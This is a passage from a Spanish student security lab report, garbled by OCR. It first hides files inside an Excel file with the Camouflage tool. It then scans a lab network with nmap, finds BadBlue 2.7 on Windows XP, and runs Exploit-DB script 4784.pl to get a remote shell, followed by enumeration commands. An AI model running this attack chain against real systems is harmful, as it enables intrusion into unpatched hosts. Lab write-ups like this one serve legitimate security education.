e Einternet-explnrer-a-para-xp-
.Mi P Llﬂ jpa_camuflaje
Llﬂ loge ukch

Miz documentos

Miz sitios de red  Mombre: |.i‘-.r|:h_e:-cl:el j Abrir |
Tipo: |,£'-.II Filez ﬂ Cancelar

llustracion 30. seleccion del archivo como archivo realizar el camuflaje.

En este paso, se navega a el archivo Excel ubicado en el escritorio como el archivo
portador para el camuflaje. La interfaz muestra los archivos disponibles en el escritorio,

incluyendo los archivos camuflados creados (jpg_camuflaje,).



5.1.29 Configuracion del Archivo Excel Portador

43

Camouflage

Your camouflaged files will be made to look and act like the following file.

Camauflage Uzing C:ADocuments and Settingzyr'ecotE scritonioharch_excel xlsx

Click here to get the |atest version

< Back

LCloze

llustracion 31. Confirmacion de la seleccion como archivo para camuflaje

Esta captura confirma que se ha seleccionado el archivo como el archivo portador. Esto

significa que todos los archivos seleccionados previamente seran ocultados dentro del Excel.
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5.1.30 Creacion del Archivo Excel Camuflado

'™ archivos_camuflaje

Archiva  Edicion  Ver  Fawvoritos  Herramientas  Avuda ;ﬂ’

Choose the location and filename for the camouflage file that is about to be created. A
Create This File IE:'\Documents and Settings'recoE soritoric\E weel_camuflas) ulsx LIJ
¥ Read-only ||
l Click here to get the |atest wersion < Back Newt » Lloze

T — T —
archivo_00... archivo_0073  archivo_0074  archiva_0075  archivo_0076  archivo_00...

:4 Inicio

19:50

Mlustracion 32. Configuracion final para generar el archivo Excel camuflado.

Esta captura muestra la configuracion final antes de generar el archivo camuflado.



5.1.31 Propiedades del Archivo Excel Camuflado

BadElue
Personal Edition

s =
Internet

jpg:camuflaje

P(T\

pdf_Camuflaje

Vord _Camu...,

llustracion 33. Propiedades del archivo Excel después del proceso de camuflaje.

Esta captura muestra las propiedades del archivo Excel camuflaje.xIsx después del

proceso de ocultamiento.

Propiedades de Excel camuflaje.xlsx

General { Resumen 1

B

| Excel_camuflaje.xlsx }

Se abre con:

Tipo de archivo:

Archivo XLSX

Aplicacién desconocida

Ubicacién:

Tamafio:

Tamario en disco:

C:\Documents and Settings\Yeco\Escritorio

166 MB (174,425,588 bytes)

166 MB (174,432,256 bytes)

Creado:

martes, 07 de octubre de 2025, 1:18:05

Modificado: martes, 19 de agosto de 2025, 20:57:06
Ultimo acceso: miércoles, 08 de octubre de 2025, 19:49:24
Atributos: Sélo lectura [ Oculto

L Aceptar ] [ Cancelar ]

Aplicar
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5.1.32 Verificacion Final de Archivos Ocultos en el Excel Camuflado

pdf_

Win

Camouflage

The camouflaged file (created with Camouflage +1.2.1) contains these files. Select the files you wish to extract or leave them unselected to

extract them all.

Name

Size | Attributes

=) Arch_excel.xlsx 33BKE A

% archivo_0059.xlsx 2043KB A

2% archivo_0000.jpg 3072KB A

&2 archivo_0001.xlsx 2048KB A

% archivo_0002.xlsk 2043KB A

M i archivo_0003.pdf 5120KB A
C| 2 archivo_0004.xlsk 2048KB A
% archivo_0005.xlsx 2048KB A

2 archivo_0006.pdf 5120KB A

2 archivo_0007.docx 1.024KB A

24 archivo_0008.docx 1.024KB A

&2 archivo_0009.xlsx 2048KB A

% archivo_0010.docx 1.024KB A

i archivo_0011.pdf 5120KE A

% archivo_0012.jpg 3072KE A

2% archivo_0013.docx 1.024KB A

2% archivo_0014.jpg 3072KB &

% archivo_0015.pdf 5120KB A

~

B

Click here to get the latest version

E

word_camu., ..,

Yy
]

Esta es la verificacion final del éxito del camuflaje en Excel. Al abrir el

TI;;EIO = Doc en "¥BoxSvr" (Z:)

< Back

Nexst >

Close

Hustracion 34. Interfaz mostrando los archivos extraibles del Excel camuflada.

archivo Excel camuflaje.xlsx con Camouflage, la herramienta muestra la lista completa de

archivos ocultos.
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5.2.Capitulo #2

5.2.1 Escaneo de Red para Identificar BadBlue

kali@kali: ~ Q,

kali@kali: ~ kali@kali: ~

Vo[
[:_ nmap -sV 192.128.100.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 ©3:08 CEST
Stats: 0:00:00 elapsed; © hosts completed (@ up), 255 undergoing ARP Pin
g Scan
ARP Ping Scan Timing: About 2.75% done; ETC: 03:08 (0:00:35 remaining)
Nmap scan report for nothing.attdns.com (192.128.100.1)
Host is up (0.00039s latency).

Ewnt shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
1 service unrecognized despite returning data. If you know the service/v
ersion, please submit the following fingerprint at https://nmap.org/cgi-
bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=10/8%Time=68E5B99F%P=X86_64-pc-linux-gnu%r({DN
sV
SF:ersionBindReqTCP,20,"\@\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07versio
n\
SF:x04bind\0\0\x10\0\x03");
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for nothing.attdns.com (192.128.100.2)

Host is up (@.00365 latency).

Not shown: 996 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

445/tcp open microsoft-ds?

2860/ten onen  httn Microsnft HTTPAPT httnd 2.8 (SSDP/UPNP)

llustracion 35. Resultado del escaneo Nmap mostrando los servicios activos en la red
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kali@kali: ~ Q

kali@kali: ~ kali@kali: ~ A

ALL 1Yy SLdillicd puris Ul NMULILNE cdLLUNS « LU L LYL o L0 LYWW .2 ) dl'e 111 1gHu
red states.

Mot shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:ED:C4:5E (PCS Systemtechnik/Oracle VirtualBox virt
ual NIC)

Nmap scan report for nothing.attdns.com (192.128.100.7)
Host is up (0.00039s latency).
Not shown: 996 closed tcp ports (reset)
| PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
MAC Address: 08:00:27:78:DB:69 (PCS Systemtechnik/Oracle VirtualBox virt
ual NIC)
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, ¢
pe:/o:microsoft:windows_xp

Nmap scan report for nothing.attdns.com (192.128.100.5)

Host is up (0.000015s latency).

All 100@ scanned ports on nothing.attdns.com (192.128.100.5) are in igno
red states.

Mot shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 35.03 seconds

lustracion 36. Escaneo Nmap mostrando los servicios activos en la red 192.128.100.7
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El comando nmap -sV 192.128.100.0/24 escaned toda la red y detecto varios hosts activos.

El hallazgo mas relevante es el host 192.128.100.7 que ejecuta Windows XP.
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5.2.2 Busqueda de Exploits para BadBlue 2.7
kali@kali: ~

( J=| =
¢ curl -I http://192.128.100.7:80/
HTTP/1.1 200 OK
Server: BadBlue/2.7
Content-Type: text/html
Accept-Ranges: bytes
Date: Wed, 08 Oct 2025 00:16:22 GMT
ETag: "3f45655a8f87dbel:43d"
Last-Modified: Fri, 22 Aug 2803 00:35:38 GMT
Content-Length: 1085
Connection: close
i Cache-control: public

T P

archsploit badblue 2.7

2 - PassThru Remote Buffer | windows/remote/4784.pl

2b - Multiple vulnerabilit | windows/remote/4715.txt

2b - PassThru Buffer Overf | windows/remote/16806.rb
Working Resources 1. - Den | windows/dos/20641.txt
Working Resources : windows,/remote/20640. txt

Shellcodes: No Results

Eu:.l )=~}

llustracion 37. Verificacion del servidor BadBlue

El comando curl -1 http://192.128.100.7:80/ confirma que el servidor esta
ejecutando BadBlue/2.7

La busqueda con searchsploit badblue 2.7 revela multiples vulnerabilidades documentadas
para esta version, destacando el exploit BadBlue 2.72 - PassThru Remote Buffer Overflow

(4784.pl) que permite ejecucion remota mediante el componente PassThru de BadBlue.


https://4784.pl/
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5.2.3 Obtencion y Preparacion del Exploit

kali@kali: ~

kali@kali: ~ kali@kali: ~

)~ [~

.t -p windows/remote/4784.pl

[j%

Exploit: BadBlue 2.72 - PassThru Remote Buffer Overflow
URL: https://www.exploit-db.com/exploits/4784
Path: /usr/share/exploitdb/exploits/windows/remote/4784.pl
Codes: 0OSVDB-42416, CVE-2007-6377
| Verified: True
{File Type: Perl script text executable

o )=[~]

L $ cp /usr/shére/exploitdb/exploits/windows/remote/k784.pl o

4784 .pl robots. txt
phpass_hash.php
fotos.cpp
DicLampiao.txt

F

llustracion 38. Localizacion y copia del exploit 4784.pl

El comando searchsploit -p windows/remote/4784.pl confirma la ubicacion del archivo del

exploit en el sistema (/ust/share/exploitdb/exploits/windows/remote/4784.pl)



5.2.4 Configuracion del Exploit 4784.pl

kali@kali: ~

kali@kali: ~

GNU nano 8.3

use IO0::Socket;

(1($arav[1]))
{

"Usage: badblue-272-seh.pl <victim> <port>\n\n";

Encoder=Pe ','I‘

105 lineas leidas

¥ Guardar Buscar Ejecutar
% Leer fich. @l Reemplazar @ Justificar

llustracion 39. Edicion del script de explotacion BadBlue 2.72

Se procede a examinar y configurar el exploit 4784.pl utilizando el editor Nano.
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5.2.5 Personalizacion del Exploit BadBlue

kali@kali: ~ Q

kali@kali: ~

kali@kali: ~
GNU nano 8.3 badblue-272-seh.pl *

A4

cCK Over f']_u‘_’,
use IO0::Socket;

6v[1])) {

"Usage: badblue-272-seh.pl <target> <port>\n\n";

\RGV[0];
[1];

"BadBlue 2.72 Exploit\n";
"Target: $target:$port\n”;

y = 4 ] = an
D (depes

\x90"

. ’
I0: :Socket: :INET->new(

Ayuda ¥ Guardar fl; Buscar f{ Cortar Ejecutar
Salir 3§ Leer fich. ]

@\ Reemplazar |l Pegar Justificar

llustracion 40. Modificacion del script de explotacion

Se muestra el proceso de personalizacion del exploit badblue-272-seh.pl para adaptarlo al

entorno especifico.
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5.2.6 Preparacion Final del Exploit BadBlue

kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

= |~

d +x badblue-272-seh.pl

P ) = | o~
lL head -20 badblue-272-seh.pl
#!/usr/bin/perl

# Exploit for BadBlue 2.72 - Stack Overflow
# CVE-2007-6379

use I0::Socket;

if(1($ArRGV[1])) {
print "Usage: badblue-272-seh.pl <target> <port>\n\n";
exit;

}

my $target = $ARGV[0];
my $port = $ARGV[1];

print "BadBlue 2.72 Exploit\n";
print "Target: $target:$port\n";

# Shellcode ejemplo (debes ajustarlo)
muv $challernde = "\von" v 100+ # NND clad

llustracion 41. asignacion de permisos de ejecucion al script de explotacion.

En esta fase final de preparacion, se realizan los Ultimos ajustes al exploit badblue-272-
seh.pl. El script es editado con Nano para asegurar su correcta configuracion, luego se le asignan
permisos de ejecucion con chmod +x para permitir su ejecucion. La verificacion con head -

20 confirma que el script contiene la estructura basica del exploit.



kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

d +x badblue-272-seh.pl

& ead -20 badblue-272-seh.pl
#!/usr/bin/perl

# Exploit for BadBlue 2.72 - Stack Overflow
# CVE-2007-6379

duse I0::Socket;

if(1($ARGV[1])) {
print "Usage: badblue-272-seh.pl <target> <port>\n\n";
exit;

}

my $target = $ARGV[0];
my $port = $ARGV[1];

print "BadBlue 2.72 Exploit\n";
print "Target: $target:$port\n";

# Shellcode ejemplo (debes ajustarlo)
my $shellcode = "\x90" x 100; # NOP sled

Llustracion 42. Verificacion de permisos de ejecucion al script de explotacion.
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5.2.7 Explotacion Exitosa de BadBlue

kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

)= | ~

e
[
[

L5 perl 4784.pl 192.128.100.7 80
+ Malicious GET request sent ...

Done.
+ Connect on port 4444 of 192.128.100.7 ...

Trying 192.128.100.7...
Connected to 192.128.100.7.

Escape character is '"]".

‘Microsoft Windows XP [Versien 5.1.2600]
| (C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador Ethernet Conexien de erea local

Sufijo de conexien especefica DNS :
Direccien IP. . . . « « « « « . . & 192.128.100.7

Mescara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.128.100.1

C:\Archivos de programa\BadBlue\PE>cd ..
cd ..

C:\Archivos de programa\BadBlue>|]

Hustracion 43. Explotacion de BadBlue y Obtencion de Shell Remoto

{EXITO DE EXPLOTACION! Esta captura documenta el final de la practica: la

explotacion exitosa de la vulnerabilidad en BadBlue 2.72.

Al ejecutar perl 4784.p1 192.128.100.7 80, el exploit envia una peticion GET maliciosa al

componente PassThru de BadBlue.
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5.2.8 Enumeracion del Sistema Comprometido
kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

c:\>
c:\>
C:\>

c:\>

hc:\>

C:\>dir
dir

El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 5C6F-9766

Directorio de C:\

02/10/2025 16:40 Archivos de programa
25/07/2025 17:12 AUTOEXEC.BAT
25/07/2025 17:12 CONFIG.SYS
01/09/2025 19:47 <DIR> Documents and Settings
02/10/2025 16:45 <DIR> WINDOWS

2 archivos 0 bytes

3 dirs 39.325.409.280 bytes libres

C:\>systeminfo
systeminfo

llustracion 44. Comandos de enumeracion ejecutados en el sistema Windows XP

El comando dir en la unidad C: revela la estructura basica del sistema, mostrando los
directorios principales: "Archivos de programa" (donde esta instalado BadBlue), "Documents and
Settings" (que contiene los archivos camuflados creados anteriormente) y "WINDOWS"
(directorio del sistema operativo)

Se ejecuta systeminfo para obtener informacion detallada del sistema, incluyendo version

del SO, parches instalados y configuracion de hardware.
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5.2.9 Analisis de Procesos en el Sistema Comprometido

kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

C:\>tasklist
tasklist

e de imagen e de sesien Nem Uso de memor

System Idle Process Console
System Console
SM55.eXe Console
} csrss.exe Console
Ywinlogon.exe Console
services.exe Console
lsass.exe Console
VBoxService.exe Console
svchost.exe Console
svchost.exe Console
svchost.exe Console
svchost.exe Console
svchost.exe Console
explorer.exe Console
spoolsv.exe Console
alg.exe Console
VBoxTray.exe Console
ctfmon.exe Console
wscntfy.exe Console
badblue.exe Console
iexplore.exe Console
iexplore.exe Console

e Ao Ffanecal s

25 8 8 O ;e s ;e &

=20 & 8 S

19.024
4,420
3.448
3.856
3.188
2.284
6.608

18.112

20.904

¥ TR

=]

P EED S e e

llustracion 45. Lista de procesos en ejecucion mediante tasklist

Se ejecuta el comando tasklist para analizar los procesos activos en el sistema Windows

XP comprometido.



kali@kali: ~

kali@kali: ~

LCPpLIIS & VUTIHULIITLIILT L "L£9Y7% 'nics
Versien del BIOS:

Directorio de Windows:

Directorio de sistema:

Dispositivo de inicio:
Configuracien regional del sistema:
Idioma:

Zona horaria:

Cantidad total de memoria fesica:
| Memoria fesica disponible:

Memoria virtual: tamaeo meximo:
Memoria virtual: disponible:
Memoria virtual: en uso:
Ubicacien(es) de archivo de paginacien:
Dominio:

Servidor de inicio de sesien:
Revisien(es):

Tarjeta(s) de red:
instaladas.

RO/1000 T de Intel(R)

exien de erea local

128.100.3

Q

kali@kali: ~

VBOX -1

C: \WINDOWS

C: \WINDOWS\system32
\Device\HarddiskVolumel
0cla

0000040A

N/D

1.023 MB

785 MB

2.048 MB

2.008 MB

40 MB

C:\pagefile.sys

INICIOMS
\\YEIBER-E7E5FE63

1 revisien(es) instaladas.
[01]: Q147222

1 Tarjetas de interfaz de red

[01]: Adaptador de servidor P

Nombre de conexien: Con

DHCP habilitado: Se
Servidor DHCP: 192.

Direcciones IP

Tlma1. 209 1420 1nn 7

lustracion 46. Salida de la configuracion del sistema Windows XP victima.
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6. Problemas encontrados

Dificultad para encontrar el payload correcto para explotar BadBlue, lo que gener6 varios
intentos fallidos.

Errores en la sintaxis de los comandos, lo que provoco respuestas inesperadas.

Falta de claridad en algunos mensajes de error, lo que complicé la identificacion de las

causas reales de los fallos.



7. Recomendaciones

Verificar sintaxis de comandos
Anotar los comandos exitosos para replicarlos en futuros escenarios
Probar comandos paso a paso

leer los mensajes de error con atencion
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8. Conclusion
Concluyo diciendo que este laboratorio demostré la importancia de la seguridad mediante el
analisis de técnicas de camuflaje en archivos y la explotacion de vulnerabilidades. Se comprobd
que formatos comunes como JPG, PDF, Word y Excel pueden ser utilizados para ocultar
informacion, mientras que la explotacion de BadBlue evidenci6 los riesgos de servicios no

actualizados.
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